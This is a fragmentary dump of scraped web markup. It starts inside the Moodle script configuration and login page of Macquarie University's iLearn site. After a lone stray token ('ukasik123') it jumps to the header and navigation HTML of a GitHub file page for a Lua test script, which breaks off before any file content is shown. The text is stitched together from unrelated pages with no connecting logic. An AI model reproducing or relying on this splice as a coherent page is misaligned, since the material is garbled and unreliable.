e-editor_atto-editor":{"requires":["node","transition","io","overlay","escape","event","event-simulate","event-custom","node-event-html5","node-event-simulate","yui-throttle","moodle-core-notification-dialogue","moodle-core-notification-confirm","moodle-editor_atto-rangy","handlebars","timers","querystring-stringify"]},"moodle-editor_atto-plugin":{"requires":["node","base","escape","event","event-outside","handlebars","event-custom","timers","moodle-editor_atto-menu"]},"moodle-editor_atto-menu":{"requires":["moodle-core-notification-dialogue","node","event","event-custom"]},"moodle-editor_atto-rangy":{"requires":[]},"moodle-report_eventlist-eventfilter":{"requires":["base","event","node","node-event-delegate","datatable","autocomplete","autocomplete-filters"]},"moodle-report_loglive-fetchlogs":{"requires":["base","event","node","io","node-event-delegate"]},"moodle-gradereport_grader-gradereporttable":{"requires":["base","node","event","handlebars","overlay","event-hover"]},"moodle-gradereport_history-userselector":{"requires":["escape","event-delegate","event-key","handlebars","io-base","json-parse","moodle-core-notification-dialogue"]},"moodle-tool_capability-search":{"requires":["base","node"]},"moodle-tool_lp-dragdrop-reorder":{"requires":["moodle-core-dragdrop"]},"moodle-assignfeedback_editpdf-editor":{"requires":["base","event","node","io","graphics","json","event-move","event-resize","transition","querystring-stringify-simple","moodle-core-notification-dialog","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-atto_accessibilitychecker-button":{"requires":["color-base","moodle-editor_atto-plugin"]},"moodle-atto_accessibilityhelper-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_align-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_bold-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_charmap-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_chemistry-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_clear-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_collapse-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_emoticon-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_equation-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_html-button":{"requires":["moodle-editor_atto-plugin","event-valuechange"]},"moodle-atto_image-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_indent-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_italic-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_link-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-usedfiles":{"requires":["node","escape"]},"moodle-atto_media-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_noautolink-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_orderedlist-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_rtl-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_strike-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_subscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_superscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_table-button":{"requires":["moodle-editor_atto-plugin","moodle-editor_atto-menu","event","event-valuechange"]},"moodle-atto_title-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_underline-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_undo-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_unorderedlist-button":{"requires":["moodle-editor_atto-plugin"]}}},"gallery":{"name":"gallery","base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/gallery\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?","ext":false,"root":"gallery\/1487942275\/","patterns":{"gallery-":{"group":"gallery"}}}},"modules":{"core_filepicker":{"name":"core_filepicker","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/repository\/filepicker.js","requires":["base","node","node-event-simulate","json","async-queue","io-base","io-upload-iframe","io-form","yui2-treeview","panel","cookie","datatable","datatable-sort","resize-plugin","dd-plugin","escape","moodle-core_filepicker"]},"core_comment":{"name":"core_comment","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/comment\/comment.js","requires":["base","io-base","node","json","yui2-animation","overlay"]}}}; M.yui.loader = {modules: {}}; //]]> </script> <meta name="robots" content="noindex" /> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <link rel="apple-touch-icon-precomposed" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/apple-touch-icon-144-precomposed" sizes="144x144"> <link rel="shortcut icon" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/favicon"> </head> <body id="page-login-index" class="format-site path-login gecko dir-ltr lang-en yui-skin-sam yui3-skin-sam ilearn-mq-edu-au pagelayout-login course-1 context-1 notloggedin content-only layout-option-noblocks layout-option-nocourseheaderfooter layout-option-nocustommenu layout-option-nofooter layout-option-nonavbar"> <div class="skiplinks"><a class="skip" href="#maincontent">Skip to main content</a></div> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.js&rollup/1487942275/mcore-min.js"></script><script type="text/javascript" src="https://ilearn.mq.edu.au/theme/jquery.php/r1487942275/core/jquery-1.12.1.min.js"></script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/javascript-static.js"></script> <script type="text/javascript"> //<![CDATA[ document.body.className += ' jsenabled'; //]]> </script> <div id="nice_debug_area"></div> <header id="page-header"> <div class="container"> <div class="login-logos"> <div class="mq-logo"> <a class="login-logo" href="http://ilearn.mq.edu.au"><img alt="Macquarie University" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/login-logo"></a> </div><!-- /.mq-logo --> <div class="ilearn-logo"> <a class="login-logo-ilearn" href="http://ilearn.mq.edu.au"><img alt="iLearn" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/ilearn-logo"></a> </div><!-- /.ilearn-logo --> </div><!-- /.login-logos --> </div><!-- /.container --> </header><!-- #page-header --> <div id="page"> <div class="container" id="page-content"> <div class="login-wing login-wing-left"></div> <div class="login-wing login-wing-right"></div> <h1 class="login-h1">iLearn Login</h1> <span class="notifications" id="user-notifications"></span><div role="main"><span id="maincontent"></span><div class="loginbox clearfix twocolumns"> <div class="loginpanel"> <h2>Log in</h2> <div class="subcontent loginsub"> <form action="https://ilearn.mq.edu.au/login/index.php" method="post" id="login" > <div class="loginform"> <div class="form-label"><label for="username">Username</label></div> <div class="form-input"> <input type="text" name="username" id="username" size="15" tabindex="1" value="" /> </div> <div class="clearer"><!-- --></div> <div class="form-label"><label for="password">Password</label></div> <div class="form-input"> <input type="password" name="password" id="password" size="15" tabindex="2" value="" /> </div> </div> <div class="clearer"><!-- --></div> <div class="clearer"><!-- --></div> <input id="anchor" type="hidden" name="anchor" value="" /> <script>document.getElementById('anchor').value = location.hash</script> <input type="submit" id="loginbtn" value="Log in" /> <div class="forgetpass"><a href="forgot_password.php">Forgotten your username or password?</a></div> </form> <script type="text/javascript"> $(document).ready(function(){ var input = document.getElementById ("username"); input.focus(); }); </script> <div class="desc"> Cookies must be enabled in your browser<span class="helptooltip"><a href="https://ilearn.mq.edu.au/help.php?component=moodle&identifier=cookiesenabled&lang=en" title="Help with Cookies must be enabled in your browser" aria-haspopup="true" target="_blank"><img src="https://ilearn.mq.edu.au/theme/image.php/mqu/core/1487942275/help" alt="Help with Cookies must be enabled in your browser" class="iconhelp" /></a></span> </div> </div> </div> <div class="signuppanel"> <h2>Is this your first time here?</h2> <div class="subcontent"> </div> </div> <script> dataLayer = []; </script> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-MQZTHB" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-MQZTHB');</script> <!-- End Google Tag Manager --> </div> </div><!-- /.container #page-content --> </div><!-- /#page --> <footer id="page-footer"> <div class="container"> <ul class="page-footer-ul"> <li><a href="http://help.ilearn.mq.edu.au/" target="_blank">iLearn Help and FAQ</a></li> <li><a href="https://oneid.mq.edu.au/" target="_blank">Forgotten your password?</a></li> <li><a href="http://status.ilearn.mq.edu.au/" target="_blank">iLearn Status</a></li> </ul><!-- /.page-footer-ul --> <div class="login-footer-info"> <p>If you are having trouble accessing your online unit due to a disability or health condition, please go to the <a href="http://www.students.mq.edu.au/support/accessibility_services" target="_blank">Student Services Website</a> for information on how to get assistance</p> <p>All material available on iLearn belongs to Macquarie University or has been copied and communicated to Macquarie staff and students under statutory licences and educational exceptions under Australian copyright law. This material is provided for the educational purposes of Macquarie students and staff. It is illegal to copy and distribute this material beyond iLearn except in very limited circumstances and as provided by specific copyright exceptions.</p> </div><!-- /.login-footer-info --> <div class="login-footer-link"> <div class="bootstrap-row"> <div class="col-md-7"> <p>© Copyright Macquarie University | <a href="http://www.mq.edu.au/privacy/privacy.html" target="_blank">Privacy</a> | <a href="http://www.mq.edu.au/accessibility.html" target="_blank">Accessibility Information</a></p> </div><!-- /.col-md-7 --> <div class="col-md-5"> <p>ABN 90 952 801 237 | CRICOS Provider 00002J</p> </div><!-- /.col-md-5 --> </div><!-- /.bootstrap-row --> </div><!-- /.login-footer-link --> </div><!-- /.container --> </footer><!-- /#page-footer --> <script type="text/javascript"> //<![CDATA[ var require = { baseUrl : 'https://ilearn.mq.edu.au/lib/requirejs.php/1487942275/', // We only support AMD modules with an explicit define() statement. enforceDefine: true, skipDataMain: true, waitSeconds : 0, paths: { jquery: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/jquery-1.12.1.min', jqueryui: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/ui-1.11.4/jquery-ui.min', jqueryprivate: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/jquery-private' }, // Custom jquery config map. map: { // '*' means all modules will get 'jqueryprivate' // for their 'jquery' dependency. '*': { jquery: 'jqueryprivate' }, // 'jquery-private' wants the real jQuery module // though. If this line was not here, there would // be an unresolvable cyclic dependency. jqueryprivate: { jquery: 'jquery' } } }; //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/require.min.js"></script> <script type="text/javascript"> //<![CDATA[ require(['core/first'], function() { ; require(["core/notification"], function(amd) { amd.init(1, [], false); });; require(["core/log"], function(amd) { amd.setConfig({"level":"warn"}); }); }); //]]> </script> <script type="text/javascript"> //<![CDATA[ M.yui.add_module({"mathjax":{"name":"mathjax","fullpath":"https:\/\/cdn.mathjax.org\/mathjax\/2.6-latest\/MathJax.js?delayStartupUntil=configured"}}); //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/javascript.php/mqu/1487942275/footer"></script> <script type="text/javascript"> //<![CDATA[ M.str = {"moodle":{"lastmodified":"Last modified","name":"Name","error":"Error","info":"Information","namedfiletoolarge":"The file '{$a->filename}' is too large and cannot be uploaded","yes":"Yes","no":"No","morehelp":"More help","loadinghelp":"Loading...","cancel":"Cancel","ok":"OK","confirm":"Confirm","areyousure":"Are you sure?","closebuttontitle":"Close","unknownerror":"Unknown error"},"repository":{"type":"Type","size":"Size","invalidjson":"Invalid JSON string","nofilesattached":"No files attached","filepicker":"File picker","logout":"Logout","nofilesavailable":"No files available","norepositoriesavailable":"Sorry, none of your current repositories can return files in the required format.","fileexistsdialogheader":"File exists","fileexistsdialog_editor":"A file with that name has already been attached to the text you are editing.","fileexistsdialog_filemanager":"A file with that name has already been attached","renameto":"Rename to \"{$a}\"","referencesexist":"There are {$a} alias\/shortcut files that use this file as their source","select":"Select"},"admin":{"confirmdeletecomments":"You are about to delete comments, are you sure?","confirmation":"Confirmation"},"block":{"addtodock":"Move this to the dock","undockitem":"Undock this item","dockblock":"Dock {$a} block","undockblock":"Undock {$a} block","undockall":"Undock all","hidedockpanel":"Hide the dock panel","hidepanel":"Hide panel"},"langconfig":{"thisdirectionvertical":"btt"}}; //]]> </script> <script type="text/javascript"> //<![CDATA[ (function() {M.util.load_flowplayer(); setTimeout("fix_column_widths()", 20); Y.use("moodle-core-dock-loader",function() {M.core.dock.loader.initLoader(); }); M.util.help_popups.setup(Y); Y.use("moodle-core-popuphelp",function() {M.core.init_popuphelp(); }); M.util.js_pending('random58b8dd8d3abcf2'); Y.on('domready', function() { M.util.move_debug_messages(Y); M.util.js_complete('random58b8dd8d3abcf2'); }); M.util.js_pending('random58b8dd8d3abcf3'); Y.on('domready', function() { M.util.netspot_perf_info(Y, "00000000:0423_00000000:0050_58B8DD8D_30F8F6D:3B0C", 1488510349.1968); M.util.js_complete('random58b8dd8d3abcf3'); }); M.util.init_skiplink(Y); Y.use("moodle-filter_glossary-autolinker",function() {M.filter_glossary.init_filter_autolinking({"courseid":0}); }); Y.use("moodle-filter_mathjaxloader-loader",function() {M.filter_mathjaxloader.configure({"mathjaxconfig":"\nMathJax.Hub.Config({\n config: [\"Accessible.js\", \"Safe.js\"],\n errorSettings: { message: [\"!\"] },\n skipStartupTypeset: true,\n messageStyle: \"none\",\n TeX: {\n extensions: [\"mhchem.js\",\"color.js\",\"AMSmath.js\",\"AMSsymbols.js\",\"noErrors.js\",\"noUndefined.js\"]\n }\n});\n ","lang":"en"}); }); M.util.js_pending('random58b8dd8d3abcf5'); Y.on('domready', function() { M.util.js_complete("init"); M.util.js_complete('random58b8dd8d3abcf5'); }); })(); //]]> </script> <script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","licenseKey":"d6bb71fb66","applicationID":"3373525,3377726","transactionName":"YVMHYkVQWkIAUERQDFgZMEReHlheBlpeFgpYUgBOGUFcQQ==","queueTime":0,"applicationTime":48,"atts":"TRQEFA1KSUw=","errorBeacon":"bam.nr-data.net","agent":""}</script></body> </html>
ukasik123
<!DOCTYPE html> <html lang="en" class=""> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# object: http://ogp.me/ns/object# article: http://ogp.me/ns/article# profile: http://ogp.me/ns/profile#"> <meta charset='utf-8'> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Language" content="en"> <meta name="viewport" content="width=1020"> <title>GoS/testscript3.lua at master · Cloudhax23/GoS · GitHub</title> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-114.png"> <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114.png"> <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-144.png"> <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144.png"> <meta property="fb:app_id" content="1401488693436528"> <meta content="@github" name="twitter:site" /><meta content="summary" name="twitter:card" /><meta content="Cloudhax23/GoS" name="twitter:title" /><meta content="Contribute to GoS development by creating an account on GitHub." name="twitter:description" /><meta content="https://avatars0.githubusercontent.com/u/13112382?v=3&s=400" name="twitter:image:src" /> <meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="https://avatars0.githubusercontent.com/u/13112382?v=3&s=400" property="og:image" /><meta content="Cloudhax23/GoS" property="og:title" /><meta content="https://github.com/Cloudhax23/GoS" property="og:url" /><meta content="Contribute to GoS development by creating an account on GitHub." property="og:description" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="assets" href="https://assets-cdn.github.com/"> <meta name="pjax-timeout" content="1000"> <meta name="msapplication-TileImage" content="/windows-tile.png"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-analytics" content="UA-3769691-2"> <meta content="collector.githubapp.com" name="octolytics-host" /><meta content="collector-cdn.github.com" name="octolytics-script-host" /><meta content="github" name="octolytics-app-id" /><meta content="1F0159F3:63D6:38B2965:55E9CB4E" name="octolytics-dimension-request_id" /> <meta content="Rails, view, blob#show" data-pjax-transient="true" name="analytics-event" /> <meta class="js-ga-set" name="dimension1" content="Logged Out"> <meta class="js-ga-set" name="dimension4" content="Current repo nav"> <meta name="is-dotcom" content="true"> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#4078c0"> <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico"> <!-- </textarea> --><!-- '"` --><meta content="authenticity_token" name="csrf-param" /> <meta content="fqjSIXjxNP0vg7DSeQevGfNr6iXQzxHKRP1aqJ9mFAVUKrEPR8Bwl58e3xIEeZq+qEnV8Jit2aZkkNYeSIGukg==" name="csrf-token" /> <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-760a949769f2883d6febd885c263b1f47c072484378029415608e3a1460a25c6.css" media="all" rel="stylesheet" /> <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github2-77ad6e1b95782474252f43cb862f85719e177fdfaee9bb9cde3b9ee50d9cc602.css" media="all" rel="stylesheet" /> <meta http-equiv="x-pjax-version" content="47f3936edef6973de4eeb94412cca773"> <meta name="description" content="Contribute to GoS development by creating an account on GitHub."> <meta name="go-import" content="github.com/Cloudhax23/GoS git https://github.com/Cloudhax23/GoS.git"> <meta content="13112382" name="octolytics-dimension-user_id" /><meta content="Cloudhax23" name="octolytics-dimension-user_login" /><meta content="39972701" name="octolytics-dimension-repository_id" /><meta content="Cloudhax23/GoS" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="39972701" name="octolytics-dimension-repository_network_root_id" /><meta content="Cloudhax23/GoS" name="octolytics-dimension-repository_network_root_nwo" /> <link href="https://github.com/Cloudhax23/GoS/commits/master.atom" rel="alternate" title="Recent Commits to GoS:master" type="application/atom+xml"> </head> <body class="logged_out env-production windows vis-public page-blob"> <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a> <div class="header header-logged-out" role="banner"> <div class="container clearfix"> <a class="header-logo-wordmark" href="https://github.com/" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark"> <span class="mega-octicon octicon-logo-github"></span> </a> <div class="header-actions" role="navigation"> <a class="btn btn-primary" href="/join" data-ga-click="(Logged out) Header, clicked Sign up, text:sign-up">Sign up</a> <a class="btn" href="/login?return_to=%2FCloudhax23%2FGoS%2Fblob%2Fmaster%2FCommon%2FCloudBot%2Ftestscript3.lua" data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">Sign in</a> </div> <div class="site-search repo-scope js-site-search" role="search"> <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/Cloudhax23/GoS/search" class="js-site-search-form" data-global-search-url="/search" data-repo-search-url="/Cloudhax23/GoS/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <label class="js-chromeless-input-container form-control"> <div class="scope-badge">This repository</div> <input type="text" class="js-site-search-focus js-site-search-field is-clearable chromeless-input" data-hotkey="s" name="q" placeholder="Search" aria-label="Search this repository" data-global-scope-placeholder="Search GitHub" data-repo-scope-placeholder="Search" tabindex="1" autocapitalize="off"> </label> </form> </div> <ul class="header-nav left" role="navigation"> <li class="header-nav-item"> <a class="header-nav-link" href="/explore" data-ga-click="(Logged out) Header, go to explore, text:explore">Explore</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="/features" data-ga-click="(Logged out) Header, go to features, text:features">Features</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="https://enterprise.github.com/" data-ga-click="(Logged out) Header, go to enterprise, text:enterprise">Enterprise</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="/pricing" data-ga-click="(Logged out) Header, go to pricing, text:pricing">Pricing</a> </li> </ul> </div> </div> <div id="start-of-content" class="accessibility-aid"></div> <div id="js-flash-container"> </div> <div itemscope itemtype="http://schema.org/WebPage"> <div class="pagehead repohead instapaper_ignore readability-menu"> <div class="container"> <div class="clearfix"> <ul class="pagehead-actions"> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to watch a repository" rel="nofollow"> <span class="octicon octicon-eye"></span> Watch </a> <a class="social-count" href="/Cloudhax23/GoS/watchers"> 1 </a> </li> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to star a repository" rel="nofollow"> <span class="octicon octicon-star"></span> Star </a> <a class="social-count js-social-count" href="/Cloudhax23/GoS/stargazers"> 0 </a> </li> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to fork a repository" rel="nofollow"> <span class="octicon octicon-repo-forked"></span> Fork </a> <a href="/Cloudhax23/GoS/network" class="social-count"> 2 </a> </li> </ul> <h1 itemscope itemtype="http://data-vocabulary.org/Breadcrumb" class="entry-title public "> <span class="mega-octicon octicon-repo"></span> <span class="author"><a href="/Cloudhax23" class="url fn" itemprop="url" rel="author"><span itemprop="title">Cloudhax23</span></a></span><!-- --><span class="path-divider">/</span><!-- --><strong><a href="/Cloudhax23/GoS" data-pjax="#js-repo-pjax-container">GoS</a></strong> <span class="page-context-loader"> <img alt="" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </span> </h1> </div> </div> </div> <div class="container"> <div class="repository-with-sidebar repo-container new-discussion-timeline "> <div class="repository-sidebar clearfix"> <nav class="sunken-menu repo-nav js-repo-nav js-sidenav-container-pjax js-octicon-loaders" role="navigation" data-pjax="#js-repo-pjax-container" data-issue-count-url="/Cloudhax23/GoS/issues/counts"> <ul class="sunken-menu-group"> <li class="tooltipped tooltipped-w" aria-label="Code"> <a href="/Cloudhax23/GoS" aria-label="Code" aria-selected="true" class="js-selected-navigation-item selected sunken-menu-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /Cloudhax23/GoS"> <span class="octicon octicon-code"></span> <span class="full-word">Code</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Issues"> <a href="/Cloudhax23/GoS/issues" aria-label="Issues" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /Cloudhax23/GoS/issues"> <span class="octicon octicon-issue-opened"></span> <span class="full-word">Issues</span> <span class="js-issue-replace-counter"></span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Pull requests"> <a href="/Cloudhax23/GoS/pulls" aria-label="Pull requests" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g p" data-selected-links="repo_pulls /Cloudhax23/GoS/pulls"> <span class="octicon octicon-git-pull-request"></span> <span class="full-word">Pull requests</span> <span class="js-pull-replace-counter"></span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> </ul> <div class="sunken-menu-separator"></div> <ul class="sunken-menu-group"> <li class="tooltipped tooltipped-w" aria-label="Pulse"> <a href="/Cloudhax23/GoS/pulse" aria-label="Pulse" class="js-selected-navigation-item sunken-menu-item" data-selected-links="pulse /Cloudhax23/GoS/pulse"> <span class="octicon octicon-pulse"></span> <span class="full-word">Pulse</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Graphs"> <a href="/Cloudhax23/GoS/graphs" aria-label="Graphs" class="js-selected-navigation-item sunken-menu-item" data-selected-links="repo_graphs repo_contributors /Cloudhax23/GoS/graphs"> <span class="octicon octicon-graph"></span> <span class="full-word">Graphs</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> </ul> </nav> <div class="only-with-full-nav"> <div class="js-clone-url clone-url open" data-protocol-type="http"> <h3><span class="text-emphasized">HTTPS</span> clone URL</h3> <div class="input-group js-zeroclipboard-container"> <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target" value="https://github.com/Cloudhax23/GoS.git" readonly="readonly" aria-label="HTTPS clone URL"> <span class="input-group-button"> <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </span> </div> </div> <div class="js-clone-url clone-url " data-protocol-type="subversion"> <h3><span class="text-emphasized">Subversion</span> checkout URL</h3> <div class="input-group js-zeroclipboard-container"> <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target" value="https://github.com/Cloudhax23/GoS" readonly="readonly" aria-label="Subversion checkout URL"> <span class="input-group-button"> <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </span> </div> </div> <div class="clone-options">You can clone with <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/users/set_protocol?protocol_selector=http&protocol_type=clone" class="inline-form js-clone-selector-form " data-form-nonce="88468cc5975a1aa8c4fa8cca527334be676def5e" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /><input name="authenticity_token" type="hidden" value="2xQ5nfyk24DgOR2+1565hcvqNZHyWD7txJmx2wXE1Wfo98sJ1KR91RNpx7e0aUo6b68ohta8slG3Jl0b+XchXg==" /></div><button class="btn-link js-clone-selector" data-protocol="http" type="submit">HTTPS</button></form> or <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/users/set_protocol?protocol_selector=subversion&protocol_type=clone" class="inline-form js-clone-selector-form " data-form-nonce="88468cc5975a1aa8c4fa8cca527334be676def5e" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /><input name="authenticity_token" type="hidden" value="UcrPQ/IREUpGynh+H40DCBh3x44j5pBc0sx/E+w1nbRC++gZnsbIGW2MT/o23EfO6ppTmjRNiP2R6GwXArgbtg==" /></div><button class="btn-link js-clone-selector" data-protocol="subversion" type="submit">Subversion</button></form>. <a href="https://help.github.com/articles/which-remote-url-should-i-use" class="help tooltipped tooltipped-n" aria-label="Get help on which URL is right for you."> <span class="octicon octicon-question"></span> </a> </div> <a href="https://windows.github.com" class="btn btn-sm sidebar-button" title="Save Cloudhax23/GoS to your computer and use it in GitHub Desktop." aria-label="Save Cloudhax23/GoS to your computer and use it in GitHub Desktop."> <span class="octicon octicon-desktop-download"></span> Clone in Desktop </a> <a href="/Cloudhax23/GoS/archive/master.zip" class="btn btn-sm sidebar-button" aria-label="Download the contents of Cloudhax23/GoS as a zip file" title="Download the contents of Cloudhax23/GoS as a zip file" rel="nofollow"> <span class="octicon octicon-cloud-download"></span> Download ZIP </a> </div> </div> <div id="js-repo-pjax-container" class="repository-content context-loader-container" data-pjax-container> <a href="/Cloudhax23/GoS/blob/e8c7bbb996f8182e6c0bac8f772a47604de1a3e4/Common/CloudBot/testscript3.lua" class="hidden js-permalink-shortcut" data-hotkey="y">Permalink</a> <!-- blob contrib key: blob_contributors:v21:29a88b9ffcb6d20c6b4fc8b9594477df --> <div class="file-navigation js-zeroclipboard-container"> <div class="select-menu js-menu-container js-select-menu left"> <span class="btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w" data-ref="master" title="master" role="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true"> <i>Branch:</i> <span class="js-select-button css-truncate-target">master</span> </span> <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax aria-hidden="true"> <div class="select-menu-modal"> <div class="select-menu-header"> <span class="select-menu-title">Switch branches/tags</span> <span class="octicon octicon-x js-menu-close" role="button" aria-label="Close"></span> </div> <div class="select-menu-filters"> <div class="select-menu-text-filter"> <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="js-filterable-field js-navigation-enable" placeholder="Filter branches/tags"> </div> <div class="select-menu-tabs"> <ul> <li class="select-menu-tab"> <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab" role="tab">Branches</a> </li> <li class="select-menu-tab"> <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a> </li> </ul> </div> </div> <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu"> <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> <a class="select-menu-item js-navigation-item js-navigation-open selected" 